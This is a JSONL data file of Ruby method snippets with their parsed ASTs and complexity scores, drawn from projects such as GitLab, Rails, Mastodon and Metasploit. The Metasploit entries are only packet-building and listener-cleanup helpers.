{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240425170527_remove_foreign_keys_geo_event_log.rb","start_line":74,"raw_source":"def down\n    FOREIGN_KEYS.each do |fk|\n      add_concurrent_foreign_key(FROM_TABLE, fk[:to_table], **fk[:options])\n    end\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fk\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"const\",\"children\":[null,\"FROM_TABLE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to_table\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"4f28456d-bc86-48a1-b1a5-ba772eaafe42"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet.rb","start_line":627,"raw_source":"def add_tlv(type, value = nil, replace = false, compress=false)\n\n    # If we should replace any TLVs with the same type...remove them first\n    if replace\n      each(type) { |tlv|\n        if (tlv.type == type)\n          self.tlvs.delete(tlv)\n        end\n      }\n    end\n\n    if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)\n      tlv = GroupTlv.new(type)\n    else\n      tlv = Tlv.new(type, value, compress)\n    end\n\n    self.tlvs << tlv\n\n    tlv\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_tlv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"replace\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"compress\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replace\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tlv\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tlv\"]},\"type\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlvs\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"tlv\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"&\",{\"type\":\"const\",\"children\":[null,\"TLV_META_TYPE_GROUP\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"TLV_META_TYPE_GROUP\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tlv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupTlv\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tlv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tlv\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"compress\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tlvs\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tlv\"]}]},{\"type\":\"lvar\",\"children\":[\"tlv\"]}]}]}","id":"2fdb1463-a3cc-4f83-84c8-119967b3d1c8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":30,"raw_source":"def test_scope_breaks_caching_on_collections\n    author = authors :david\n    ids = author.reload.special_posts_with_default_scope.map(&:id)\n    assert_equal [1, 5, 6], ids.sort\n    scoped_posts = SpecialPostWithDefaultScope.unscoped do\n      author = authors :david\n      author.reload.special_posts_with_default_scope.to_a\n    end\n    assert_equal author.posts.map(&:id).sort, scoped_posts.map(&:id).sort\n  end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scope_breaks_caching_on_collections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"reload\"]},\"special_posts_with_default_scope\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"sort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scoped_posts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialPostWithDefaultScope\"]},\"unscoped\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"reload\"]},\"special_posts_with_default_scope\"]},\"to_a\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]}]}]}]}","id":"a3258f44-943a-425f-8629-b2956a0e7c48"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/controllers/openid_connect/providers_controller.rb","start_line":139,"raw_source":"def find_provider\n      @provider = OpenIDConnect::Provider.find(params[:id])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenIDConnect\"]},\"Provider\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"6c8dd9f6-1b5d-4095-bced-bf52cb08b946"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/hll_redis_counter.rb","start_line":37,"raw_source":"def track_event(event_name, values:, property_name: nil, time: Time.current)\n          track(values, event_name, property_name: property_name, time: time)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"kwarg\",\"children\":[\"values\"]},{\"type\":\"kwoptarg\",\"children\":[\"property_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[null,\"track\",{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property_name\"]},{\"type\":\"lvar\",\"children\":[\"property_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]}]}","id":"31c4bb21-09d4-41e6-8914-d64866abb1a0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_status_update_service.rb","start_line":8,"raw_source":"def call(status, activity_json, object_json, request_id: nil)\n    raise ArgumentError, 'Status has unsaved changes' if status.changed?\n\n    @activity_json             = activity_json\n    @json                      = object_json\n    @status_parser             = ActivityPub::Parser::StatusParser.new(@json, followers_collection: status.account.followers_url, following_collection: status.account.following_url, actor_uri: ActivityPub::TagManager.instance.uri_for(status.account))\n    @uri                       = @status_parser.uri\n    @status                    = status\n    @account                   = status.account\n    @media_attachments_changed = false\n    @poll_changed              = false\n    @quote_changed             = false\n    @request_id                = request_id\n    @quote                     = nil\n\n    # Only native types can be updated at the moment\n    return @status if !expected_type? || already_updated_more_recently?\n\n    if @status_parser.edited_at.present? && (@status.edited_at.nil? || @status_parser.edited_at > @status.edited_at)\n      handle_explicit_update!\n    elsif @status.edited_at.present? && (@status_parser.edited_at.nil? || @status_parser.edited_at < @status.edited_at)\n      # This is an older update, reject it\n      return @status\n    else\n      handle_implicit_update!\n    end\n\n    @status\n  end","complexity_score":59.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"activity_json\"]},{\"type\":\"arg\",\"children\":[\"object_json\"]},{\"type\":\"kwoptarg\",\"children\":[\"request_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"changed?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Status has unsaved changes\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@activity_json\",{\"type\":\"lvar\",\"children\":[\"activity_json\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@json\",{\"type\":\"lvar\",\"children\":[\"object_json\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@status_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Parser\"]},\"StatusParser\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]},\"followers_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"following_collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]},\"following_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actor_uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"uri\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@media_attachments_changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@poll_changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@quote_changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@request_id\",{\"type\":\"lvar\",\"children\":[\"request_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@quote\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected_type?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"already_updated_more_recently?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"edited_at\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"edited_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_explicit_update!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"edited_at\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status_parser\"]},\"edited_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_implicit_update!\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@status\"]}]}]}","id":"994379c0-9a0c-405c-a7ce-0b2f7094cf8c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/ollama.rb","start_line":8,"raw_source":"def can_translate?(llm_model)\n            llm_model.provider == \"ollama\"\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_translate?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"llm_model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"provider\"]},\"==\",{\"type\":\"str\",\"children\":[\"ollama\"]}]}]}","id":"8ddb9238-038e-4e8e-9a80-cd170f872e18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/pending_direct_upload.rb","start_line":60,"raw_source":"def self.each\n      with_redis do |redis|\n        redis.hscan_each(KEY) do |entry|\n          redis_key, timestamp = entry\n          storage_location_identifier, object_storage_path = redis_key.split(':')\n\n          object = new(\n            redis_key: redis_key,\n            storage_location_identifier: storage_location_identifier,\n            object_storage_path: object_storage_path,\n            timestamp: timestamp\n          )\n\n          yield(object)\n        end\n      end\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"hscan_each\",{\"type\":\"const\",\"children\":[null,\"KEY\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redis_key\"]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\"]}]},{\"type\":\"lvar\",\"children\":[\"entry\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storage_location_identifier\"]},{\"type\":\"lvasgn\",\"children\":[\"object_storage_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_key\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis_key\"]},{\"type\":\"lvar\",\"children\":[\"redis_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage_location_identifier\"]},{\"type\":\"lvar\",\"children\":[\"storage_location_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_storage_path\"]},{\"type\":\"lvar\",\"children\":[\"object_storage_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]}]}","id":"2bd6540e-a54e-4eda-8ce4-f38a37668227"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/external_http.rb","start_line":29,"raw_source":"def self.request_count\n          Gitlab::SafeRequestStore[COUNTER].to_i\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"COUNTER\"]}]},\"to_i\"]}]}","id":"4a3af6ef-0809-41f8-9692-2fc1a005f4a1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":266,"raw_source":"def clear # :nodoc:\n        @lazy_zones_map = Concurrent::Map.new\n        @country_zones  = Concurrent::Map.new\n        @zones = nil\n        @zones_map = nil\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@lazy_zones_map\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Map\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@country_zones\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Map\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@zones\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@zones_map\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"29bbeb55-9bf1-4f85-b565-dd277c9da682"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/git_repository.rb","start_line":203,"raw_source":"def clone_repo_if_missing\n    git_transaction do\n      unless Dir.exist?(directory_name)\n        handling_worktree_errors do\n          message = \"Cloning #{url} to #{directory_name}...\"\n          _log.info(message)\n          GitWorktree.new(worktree_params.merge(:clone => true, :url => url))\n          @updated_repo = true\n          _log.info(\"#{message}...Complete\")\n        end\n      end\n    end\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_repo_if_missing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git_transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"send\",\"children\":[null,\"directory_name\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handling_worktree_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cloning \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory_name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitWorktree\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worktree_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@updated_repo\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"...Complete\"]}]}]}]}]}]}]}]}","id":"1a9a2da7-9d75-4920-88db-5597d36e0313"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager.rb","start_line":157,"raw_source":"def destroy_mapped_tenants\n      if source_tenant\n        # We just destroyed ourself, reload the source_tenant association\n        source_tenant.reload\n        source_tenant.destroy_with_subtree\n      end\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_mapped_tenants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_tenant\"]},\"destroy_with_subtree\"]}]},null]}]}","id":"aae036c4-05a4-4fd0-a436-551440e5d1df"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/utils.rb","start_line":138,"raw_source":"def q_values(q_value_header)\n      q_value_header.to_s.split(',').map do |part|\n        value, parameters = part.split(';', 2).map(&:strip)\n        quality = 1.0\n        if parameters && (md = /\\Aq=([\\d.]+)/.match(parameters))\n          quality = md[1].to_f\n        end\n        [value, quality]\n      end\n    end","complexity_score":23.63,"ast_json":"{\"type\":\"def\",\"children\":[\"q_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q_value_header\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q_value_header\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\"]},{\"type\":\"lvasgn\",\"children\":[\"parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"int\",\"children\":[2]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"md\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Aq=([\\\\d.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"lvar\",\"children\":[\"parameters\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quality\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_f\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"quality\"]}]}]}]}]}","id":"609b61bd-3380-411c-b1fb-e3cb6248b41c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/ssh_command_shell_bind.rb","start_line":339,"raw_source":"def stop_server_channel(host, port)\n      completed_event = Rex::Sync::Event.new\n      dlog(\"Cancelling tcpip-forward to #{host}:#{port}\")\n      @ssh_connection.send_global_request('cancel-tcpip-forward', :string, host, :long, port) do |success, _response|\n        if success\n          key = [host, port]\n          @server_channels.delete(key)\n          ilog(\"Reverse SSH listener on #{host}:#{port} stopped\")\n        else\n          elog(\"Could not stop reverse listener on #{host}:#{port}\")\n        end\n        completed_event.set\n      end\n      timeout = 5 # seconds\n      begin\n        completed_event.wait(timeout)\n        true\n      rescue ::Timeout::Error\n        false\n      end\n    end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_server_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed_event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Sync\"]},\"Event\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cancelling tcpip-forward to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_connection\"]},\"send_global_request\",{\"type\":\"str\",\"children\":[\"cancel-tcpip-forward\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"sym\",\"children\":[\"long\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"success\"]},{\"type\":\"arg\",\"children\":[\"_response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s